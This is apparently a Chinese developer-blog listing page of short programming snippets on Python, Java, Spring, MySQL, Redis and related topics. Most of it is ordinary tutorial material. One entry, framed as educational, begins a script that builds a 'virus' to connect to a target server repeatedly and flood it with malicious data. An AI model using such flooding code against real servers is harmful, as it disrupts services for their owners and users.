- 客户订单管理的微服务例子
自由鬼
Java程序微服务架构云原生
下述代码实现了一个客户基本信息管理的微服务,包含以下功能:1、用户认证:使用SpringSecurity和OAuth2进行认证。配置了角色和权限控制。2、角色授权:通过@PreAuthorize注解实现角色授权,只有管理员可以执行某些操作。3、调用其他微服务:使用FeignClient调用用户管理微服务,从中获取用户数据。此示例具备扩展性,可以轻松增加其他功能,例如更多的RESTAPI或与其他微服
- 在 Python 中等待 5 秒
迹忆客
Python实用技巧pythonjava前端
Python具有各种功能和库来创建交互式应用程序,用户可以在其中提供输入和响应。我们可以创建需要暂停应用程序执行的情况。本篇文章将讨论如何在Python中等待5秒。在Python中使用time.sleep()函数等待5秒Python的time模块提供了存储和操作时间的功能和对象。该库中的sleep()函数增加了执行延迟;该函数接受以秒为单位的时间。例如,importtimeprint("Befor
- python 快速拆分含有多种分隔符的字符串
风陵苑主
python
importres='ab;cd|efghij,lmn;opq,rst,uvwx\yz're.split(r'[,;\\|]+',s)
- Python中删除文件和目录
湫兮之风
pythonjava开发语言
python中分别提供os包下的os.remove()与shutil包下的shutil.rmtree()函数,其中os.remove()的主要作用是删除一个具体的文件,shutil.rmtree()主要作用是删除一个具体的目录。os.remove()这个函数需要一个参数,即要删除的文件的路径。importosfile_path="/path/to/your/file.txt"#将此处的路径替换为你
- python os.path.basename()方法
Arthur-Ji
python
返回path最后的文件名。如果path以/或\结尾,那么就会返回空值。即os.path.split(path)的第二个元素。?12345>>>importos>>>path='/Users/beazley/Data/data.csv'>>>#Getthelastcomponentofthepath>>>os.path.basename(path)'data.csv'
- PyMySQL 详解
一只猪皮怪5
SQL数据库mysqlpython
PyMySQL是一个纯Python实现的MySQL客户端操作库,支持事务、存储过程、批量执行等。PyMySQL遵循Python数据库APIv2.0规范,并包含了pure-PythonMySQL客户端库。安装pipinstallPyMySQL创建数据库连接importpymysqlconnection=pymysql.connect(host='localhost',port=3306,user='
- python怎么安装pymysql_Python中操作mysql的pymysql模块详解
weixin_39634876
前言pymsql是Python中操作MySQL的模块,其使用方法和MySQLdb几乎相同。但目前pymysql支持python3.x而后者不支持3.x版本。本文测试python版本:2.7.11。mysql版本:5.6.24一、安装pip3installpymysql二、使用操作1、执行SQL#!/usr/bin/envpytho#-*-coding:utf-8-*-importpymysql#创
- 用python操作浏览器的三种方式_经验 | python 操作浏览器的三种方式
weixin_39642619
第一种:selenium导入浏览器驱动,用get方法打开浏览器,例如:importtimefromseleniumimportwebdriverdefmac():#browser=webdriver.Chrome()#browser=webdriver.Firefox()browser=webdriver.Ie()browser.implicitly_wait(5)browser.get("htt
- python与mysql交互_Python和Mysql交互
weixin_39703561
python与mysql交互
安装引入模块~安装mysql模块sudoapt-getinstallpython-mysqldb~在文件中引入模块importMySQLdbConnection对象用于建立与数据库的连接,创建对象:调用connect()方法conn=MySQLdb.connect(参数列表)其中参数列表有:host:连接的mysql主机,如果本机是'localhost';port:连接的mysql主机的端口,默认
- 方舟生存进化mysql_一分钟明了MySQL聚簇索引和非聚簇索引_rust辅助,方舟生存进化辅助...
突发奇想的饭粒
方舟生存进化mysql
SpringBoot整合rabbitmq辅助MySQL的InnoDB索引数据结构是B树,主键索引叶子节点的值存储的就是MySQL的数据行,通俗索引的叶子节点的值存储的是主键值,这是了解聚簇索引和非聚簇索引的条件什么是聚簇索引?很简单记着一句话:找到了索引就找到了需要的数据,那么这个索引就是聚簇索引,以是主键就是聚簇索引,修改聚簇索引实在就是修改主键。什么是非聚簇索引?索引的存储和数据的存储是星散的
- Java代码封装redis工具类
weixin_30901729
数据库java
maven依赖关系:redis.clientsjedis2.9.0org.apache.commonscommons-pool22.6.0源码:1packageStudyPro.service;23importredis.clients.jedis.Jedis;4importredis.clients.jedis.JedisPool;5importredis.clients.jedis.Jedis
- Hibernate中文版教程:快速入门与实践
焦虑中
本文还有配套的精品资源,点击获取简介:Hibernate是一个高效的JavaORM框架,它通过对象关系映射简化数据库操作,使得开发人员能以面向对象的方式处理数据。本教程旨在为初学者提供一份详尽的Hibernate指南,涵盖了实体管理、会话管理、查询语言HQL、缓存机制等核心功能。教程还介绍了配置文件、映射文件、CriteriaAPI、CascadeType和FetchType、事务处理、关联映射、
- redis 工具类封装
swadian2008
SpringBootredisredisspringbootjava
目录1-在springboot项目的pom.xml2-在application.properties中配置redis参数3-编写redis的配置类4-编写redis的工具类5-测试类RedisController.java1-在springboot项目的pom.xml在配置文件里加入redis的jar依赖4.0.0com.demo.springbootspringbootdemo1.0-SNAPS
- @Scope(“prototype“)
HYUJKI
java原型模式java开发语言单例模式
@Scope("prototype")是Spring框架中用于定义Bean作用域的注解之一,它的主要作用是将一个Bean定义成原型作用域(PrototypeScope)。在原型作用域下,每次从Spring容器中请求这个Bean时,都会创建一个新的实例。@Scope("prototype")的作用默认作用域:单例(SingletonScope)在Spring中,Bean的默认作用域是单例(@Scop
- 用Python找到童年的乐趣,制作一款贪吃蛇小游戏。新手教程!
2401_83703951
程序员pythonpygame开发语言
开发工具python版本:3.6.8编辑器:pycharm相关模块importcopyimportrandomimportpygame模块安装pipinstall-ihttps://pypi.doubanio.com/simple/--trusted-hostpypi.doubanio.compygame实现效果这个就是代码运行的效果了。以前就是这样一个极为枯燥的游戏都能很多人抢着玩,一人一条命,
- Python 中无穷的表示
梦想是优秀社畜
Pythonpython编程语言经验分享
我们在python编程过程中可能需要设定一个无穷大的值来辅助我们的逻辑语句,下面展示python中无穷大的表示,和无穷的判断方法。上代码!!!#无穷的判断需要导入math模块importmath#正无穷zheng_wq=float('inf')#负无穷fu_wq=-float('inf')#float('-inf')#判断是否无穷math.isinf(zhengwq)#最终结果是True希望我的笔
- Pandas数据预处理——drop_duplicates()函数
Vous oublie@
python学习数据分析pythonpandas数据分析
Pandas是一个强大的数据分析工具,可以用于数据预处理、数据清洗、数据分析和可视化等多个领域。在数据预处理中,数据去重是非常重要的一个步骤。Pandas提供了drop_duplicates()函数来实现数据去重,可以根据指定的列或行进行去重操作。下面是使用drop_duplicates()函数实现数据去重的示例代码:importpandasaspd#读取csv文件df=pd.read_csv('
- Java实战:Spring Boot实现多租户思路
拥抱AI
javaspringboot开发语言
引言在当今云计算与SaaS服务盛行的时代,多租户架构成为了很多企业级应用的基础设计之一。这种架构允许单一应用程序实例为多个组织(租户)提供服务,同时保持各租户数据和配置的隔离性。SpringBoot作为现代Java开发领域的翘楚框架,其简洁明快的风格与高度灵活性使它成为构建多租户应用的理想选择。本文将带领您走进SpringBoot的世界,详细探讨如何实现多租户架构。一、多租户架构概述多租户模型多租
- Tomcat 假死原因分析
2401_87378716
tomcatpythonjava
1.tomcatjvm内存溢出分析当时的gc.log7581861.927:[GC7581861.927:[ParNewDesiredsurvivorsize76677120bytes,newthreshold15(max15)-age1:5239168bytes,5239168total:749056K->10477K(898816K),0.0088550secs]1418818K->68023
- Android BitmapShader实现狙击瞄具十字交叉线准星,Kotlin
zhangphil
Androidkotlinandroidkotlin
AndroidBitmapShader实现狙击瞄具十字交叉线准星,Kotlinimportandroid.content.Contextimportandroid.graphics.BitmapFactoryimportandroid.graphics.BitmapShaderimportandroid.graphics.Canvasimportandroid.graphics.Colorimpo
- 如何攻击一个服务器(仅用于教育及娱乐实验目的)
vliu612
服务器
importsocketimportosdefcreate_virus():#创建一个简单的病毒脚本,它会不断尝试连接目标服务器并发送恶意数据virus_code="""importsocketimporttimeimportthreadingdefattack_server(ip,port):whileTrue:try:s=socket.socket(socket.AF_INET,socket.
- python matplotlib legend()参数详解
请一直在路上
pythonmatplotlib开发语言
在Python的Matplotlib库中,legend函数用于添加图例,帮助解释图表中不同数据系列或数据点的含义。legend函数有很多参数,可以自定义图例的各个方面,从位置到样式,从字体大小到边框。下面是一些常用参数的详细解释:importmatplotlib.pyplotasplt#创建一些数据x=[1,2,3,4]y1=[1,4,9,16]y2=[1,2,3,4]#绘制数据plt.plot(
- 放弃传统模板语言,前后端分离架构和传统架构相比到底强在哪?
博远~
前端架构
引言在当今Web开发中,后端SpringBoot和前端Vue通过前后端分离架构来结合,已经是一个成熟的主流技术栈了。这种前后端分离的架构方式,目前广泛应用于约90%以上通过Java开发的Web应用中。但是,对于为何弃用了之前服务端渲染页面的方式,而选择了前后端分离架构,现有大多数开发者和企业都是懵懵懂懂,甚至有些公司还觉得,之前一个人能干的项目,现在变成了两个人干,增加了成本和复杂度,降低了效益。
- XML 与 JSON 实现 互转
wsl394049743
xmljson
将XML转换为JSON:不需要更改,已经在前面的代码中完成。将JSON转换为XML:在此步骤中,XMLBuilder生成XML后,你可以进一步处理以满足格式要求。后处理XML:编写一个函数来替换换行符和多余的空格,确保换行符是\r\n,并且每个节点后都有一个换行符。以下是处理过程的详细代码:import{XMLParser,XMLBuilder}from'fast-xml-parser';//将X
- Spring Boot 多数据源解决方案:dynamic-datasource-spring-boot-starter 的奥秘(下)
coding侠客
springbootjava后端
在上一篇博客《SpringBoot多数据源解决方案:dynamic-datasource-spring-boot-starter的奥秘》介绍了dynamic-datasource-spring-boot-starter的自动配置类和配置属性类之后,本文继续来剖析多数据源是如何切换的,什么时候切换的。前文中提到dynamic-datasource-spring-boot-starter的自动配置类D
- 【Spring】Spring DI(依赖注入)详解——注入参数的细节处理-null值的注入
AI人H哥会Java
JAVAjava开发语言spring后端架构
引言在现代Java开发中,Spring框架已经成为了构建企业级应用的标准工具之一。Spring的核心特性之一就是依赖注入(DependencyInjection,DI),它通过将对象的依赖关系从代码中解耦出来,提升了代码的可维护性和可测试性。特别是在大型项目中,良好的依赖管理能够显著降低代码的复杂度,提高开发效率。依赖注入的基本概念依赖注入是一种设计模式,用于实现控制反转(InversionofC
- 基于Spring Boot和Vue的人脸识别项目(源码)
AI人H哥会Java
JAVA大作业项目实战springbootvue.jsjava人工智能计算机视觉后端sql
背景随着人工智能技术的迅猛发展,生物识别技术的迅猛发展,人脸识别已经成为最具潜力的人工智能应用之一。它不仅在安全监控、金融支付、智能家居等多个领域得到了广泛应用,也逐渐进入日常生活场景。人脸识别作为一种生物特征识别技术,能够通过分析人脸图像中的特征点,实现对个体的身份识别。利用计算机视觉技术,系统能够快速从大量图片中定位并识别特定人脸,实现身份验证和信息检索。这一技术的应用,不仅提高了安全性,还提
- SpringBoot3.3.0集成Knife4j4.5.0实战
荆州克莱
面试题汇总与解析springcloudspringbootspring技术css3
原SpringBoot2.7.18升级至3.3.0之后,Knife4j进行同步升级(SpringBoot3只支持OpenAPI3规范),从原3.0.3(knife4j-spring-boot-starter)版本升级至4.5.0(knife4j-openapi3-jakarta-spring-boot-starter),以下是升级过程与注意事项等版本信息JDK21Maven3.9.6SpringB
- Java全栈项目 - 校园跑腿服务系统
天天进步2015
Java项目实战java开发语言
项目介绍校园跑腿服务系统是一个面向高校师生的互助平台,旨在解决校园内取快递、买饭、打印等日常跑腿需求。系统采用前后端分离架构,基于SpringBoot+Vue实现。技术栈后端SpringBoot2.xSpringSecurityMyBatisPlusMySQL8.0RedisRabbitMQJWT前端Vue2.xElementUIAxiosVuexVueRouter核心功能1.用户模块注册/登录实
- 深入理解Spring Boot:启动方式、注解、配置文件与模板引擎
Bro_cat
SpringBootspringbootjavaspringFreemarkerpropertiesyml
引言SpringBoot是一个用于简化Spring应用初始搭建以及开发过程的框架。它通过约定大于配置的方式,大大减少了开发者需要编写的配置代码。本文将详细介绍SpringBoot的启动方式、核心注解的用法及含义、配置文件的书写格式以及模板引擎的使用方法。SpringBoot的启动方式SpringBoot应用有多种启动方式,以下是最常见的三种方式:1.直接运行主类的main方法这是最常见的启动方式。
- Java实现的简单双向Map,支持重复Value
superlxw1234
java双向map
关键字:Java双向Map、DualHashBidiMap
有个需求,需要根据即时修改Map结构中的Value值,比如,将Map中所有value=V1的记录改成value=V2,key保持不变。
数据量比较大,遍历Map性能太差,这就需要根据Value先找到Key,然后去修改。
即:既要根据Key找Value,又要根据Value
- PL/SQL触发器基础及例子
百合不是茶
oracle数据库触发器PL/SQL编程
触发器的简介;
触发器的定义就是说某个条件成立的时候,触发器里面所定义的语句就会被自动的执行。因此触发器不需要人为的去调用,也不能调用。触发器和过程函数类似 过程函数必须要调用,
一个表中最多只能有12个触发器类型的,触发器和过程函数相似 触发器不需要调用直接执行,
触发时间:指明触发器何时执行,该值可取:
before:表示在数据库动作之前触发
- [时空与探索]穿越时空的一些问题
comsci
问题
我们还没有进行过任何数学形式上的证明,仅仅是一个猜想.....
这个猜想就是; 任何有质量的物体(哪怕只有一微克)都不可能穿越时空,该物体强行穿越时空的时候,物体的质量会与时空粒子产生反应,物体会变成暗物质,也就是说,任何物体穿越时空会变成暗物质..(暗物质就我的理
- easy ui datagrid上移下移一行
商人shang
js上移下移easyuidatagrid
/**
* 向上移动一行
*
* @param dg
* @param row
*/
function moveupRow(dg, row) {
var datagrid = $(dg);
var index = datagrid.datagrid("getRowIndex", row);
if (isFirstRow(dg, row)) {
- Java反射
oloz
反射
本人菜鸟,今天恰好有时间,写写博客,总结复习一下java反射方面的知识,欢迎大家探讨交流学习指教
首先看看java中的Class
package demo;
public class ClassTest {
/*先了解java中的Class*/
public static void main(String[] args) {
//任何一个类都
- springMVC 使用JSR-303 Validation验证
杨白白
springmvc
JSR-303是一个数据验证的规范,但是spring并没有对其进行实现,Hibernate Validator是实现了这一规范的,通过此这个实现来讲SpringMVC对JSR-303的支持。
JSR-303的校验是基于注解的,首先要把这些注解标记在需要验证的实体类的属性上或是其对应的get方法上。
登录需要验证类
public class Login {
@NotEmpty
- log4j
香水浓
log4j
log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, HTML, DATABASE
#log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, ROLLINGFILE, HTML
#console
log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender
log4
- 使用ajax和history.pushState无刷新改变页面URL
agevs
jquery框架Ajaxhtml5chrome
表现
如果你使用chrome或者firefox等浏览器访问本博客、github.com、plus.google.com等网站时,细心的你会发现页面之间的点击是通过ajax异步请求的,同时页面的URL发生了了改变。并且能够很好的支持浏览器前进和后退。
是什么有这么强大的功能呢?
HTML5里引用了新的API,history.pushState和history.replaceState,就是通过
- centos中文乱码
AILIKES
centosOSssh
一、CentOS系统访问 g.cn ,发现中文乱码。
于是用以前的方式:yum -y install fonts-chinese
CentOS系统安装后,还是不能显示中文字体。我使用 gedit 编辑源码,其中文注释也为乱码。
后来,终于找到以下方法可以解决,需要两个中文支持的包:
fonts-chinese-3.02-12.
- 触发器
baalwolf
触发器
触发器(trigger):监视某种情况,并触发某种操作。
触发器创建语法四要素:1.监视地点(table) 2.监视事件(insert/update/delete) 3.触发时间(after/before) 4.触发事件(insert/update/delete)
语法:
create trigger triggerName
after/before 
- JS正则表达式的i m g
bijian1013
JavaScript正则表达式
g:表示全局(global)模式,即模式将被应用于所有字符串,而非在发现第一个匹配项时立即停止。 i:表示不区分大小写(case-insensitive)模式,即在确定匹配项时忽略模式与字符串的大小写。 m:表示
- HTML5模式和Hashbang模式
bijian1013
JavaScriptAngularJSHashbang模式HTML5模式
我们可以用$locationProvider来配置$location服务(可以采用注入的方式,就像AngularJS中其他所有东西一样)。这里provider的两个参数很有意思,介绍如下。
html5Mode
一个布尔值,标识$location服务是否运行在HTML5模式下。
ha
- [Maven学习笔记六]Maven生命周期
bit1129
maven
从mvn test的输出开始说起
当我们在user-core中执行mvn test时,执行的输出如下:
/software/devsoftware/jdk1.7.0_55/bin/java -Dmaven.home=/software/devsoftware/apache-maven-3.2.1 -Dclassworlds.conf=/software/devs
- 【Hadoop七】基于Yarn的Hadoop Map Reduce容错
bit1129
hadoop
运行于Yarn的Map Reduce作业,可能发生失败的点包括
Task Failure
Application Master Failure
Node Manager Failure
Resource Manager Failure
1. Task Failure
任务执行过程中产生的异常和JVM的意外终止会汇报给Application Master。僵死的任务也会被A
- 记一次数据推送的异常解决端口解决
ronin47
记一次数据推送的异常解决
需求:从db获取数据然后推送到B
程序开发完成,上jboss,刚开始报了很多错,逐一解决,可最后显示连接不到数据库。机房的同事说可以ping 通。
自已画了个图,逐一排除,把linux 防火墙 和 setenforce 设置最低。
service iptables stop
- 巧用视错觉-UI更有趣
brotherlamp
UIui视频ui教程ui自学ui资料
我们每个人在生活中都曾感受过视错觉(optical illusion)的魅力。
视错觉现象是双眼跟我们开的一个玩笑,而我们往往还心甘情愿地接受我们看到的假象。其实不止如此,视觉错现象的背后还有一个重要的科学原理——格式塔原理。
格式塔原理解释了人们如何以视觉方式感觉物体,以及图像的结构,视角,大小等要素是如何影响我们的视觉的。
在下面这篇文章中,我们首先会简单介绍一下格式塔原理中的基本概念,
- 线段树-poj1177-N个矩形求边长(离散化+扫描线)
bylijinnan
数据结构算法线段树
package com.ljn.base;
import java.util.Arrays;
import java.util.Comparator;
import java.util.Set;
import java.util.TreeSet;
/**
* POJ 1177 (线段树+离散化+扫描线),题目链接为http://poj.org/problem?id=1177
- HTTP协议详解
chicony
http协议
引言
- Scala设计模式
chenchao051
设计模式scala
Scala设计模式
我的话: 在国外网站上看到一篇文章,里面详细描述了很多设计模式,并且用Java及Scala两种语言描述,清晰的让我们看到各种常规的设计模式,在Scala中是如何在语言特性层面直接支持的。基于文章很nice,我利用今天的空闲时间将其翻译,希望大家能一起学习,讨论。翻译
- 安装mysql
daizj
mysql安装
安装mysql
(1)删除linux上已经安装的mysql相关库信息。rpm -e xxxxxxx --nodeps (强制删除)
执行命令rpm -qa |grep mysql 检查是否删除干净
(2)执行命令 rpm -i MySQL-server-5.5.31-2.el
- HTTP状态码大全
dcj3sjt126com
http状态码
完整的 HTTP 1.1规范说明书来自于RFC 2616,你可以在http://www.talentdigger.cn/home/link.php?url=d3d3LnJmYy1lZGl0b3Iub3JnLw%3D%3D在线查阅。HTTP 1.1的状态码被标记为新特性,因为许多浏览器只支持 HTTP 1.0。你应只把状态码发送给支持 HTTP 1.1的客户端,支持协议版本可以通过调用request
- asihttprequest上传图片
dcj3sjt126com
ASIHTTPRequest
NSURL *url =@"yourURL";
ASIFormDataRequest*currentRequest =[ASIFormDataRequest requestWithURL:url];
[currentRequest setPostFormat:ASIMultipartFormDataPostFormat];[currentRequest se
- C语言中,关键字static的作用
e200702084
C++cC#
在C语言中,关键字static有三个明显的作用:
1)在函数体,局部的static变量。生存期为程序的整个生命周期,(它存活多长时间);作用域却在函数体内(它在什么地方能被访问(空间))。
一个被声明为静态的变量在这一函数被调用过程中维持其值不变。因为它分配在静态存储区,函数调用结束后并不释放单元,但是在其它的作用域的无法访问。当再次调用这个函数时,这个局部的静态变量还存活,而且用在它的访
- win7/8使用curl
geeksun
win7
1. WIN7/8下要使用curl,需要下载curl-7.20.0-win64-ssl-sspi.zip和Win64OpenSSL_Light-1_0_2d.exe。 下载地址:
http://curl.haxx.se/download.html 请选择不带SSL的版本,否则还需要安装SSL的支持包 2. 可以给Windows增加c
- Creating a Shared Repository; Users Sharing The Repository
hongtoushizi
git
转载自:
http://www.gitguys.com/topics/creating-a-shared-repository-users-sharing-the-repository/ Commands discussed in this section:
git init –bare
git clone
git remote
git pull
git p
- Java实现字符串反转的8种或9种方法
Josh_Persistence
异或反转递归反转二分交换反转java字符串反转栈反转
注:对于第7种使用异或的方式来实现字符串的反转,如果不太看得明白的,可以参照另一篇博客:
http://josh-persistence.iteye.com/blog/2205768
/**
*
*/
package com.wsheng.aggregator.algorithm.string;
import java.util.Stack;
/**
- 代码实现任意容量倒水问题
home198979
PHP算法倒水
形象化设计模式实战 HELLO!架构 redis命令源码解析
倒水问题:有两个杯子,一个A升,一个B升,水有无限多,现要求利用这两杯子装C
- Druid datasource
zhb8015
druid
推荐大家使用数据库连接池 DruidDataSource. http://code.alibabatech.com/wiki/display/Druid/DruidDataSource DruidDataSource经过阿里巴巴数百个应用一年多生产环境运行验证,稳定可靠。 它最重要的特点是:监控、扩展和性能。 下载和Maven配置看这里: http
- 两种启动监听器ApplicationListener和ServletContextListener
spjich
javaspring框架
引言:有时候需要在项目初始化的时候进行一系列工作,比如初始化一个线程池,初始化配置文件,初始化缓存等等,这时候就需要用到启动监听器,下面分别介绍一下两种常用的项目启动监听器
ServletContextListener
特点: 依赖于sevlet容器,需要配置web.xml
使用方法:
public class StartListener implements
- JavaScript Rounding Methods of the Math object
何不笑
JavaScriptMath
The next group of methods has to do with rounding decimal values into integers. Three methods — Math.ceil(), Math.floor(), and Math.round() — handle rounding in differen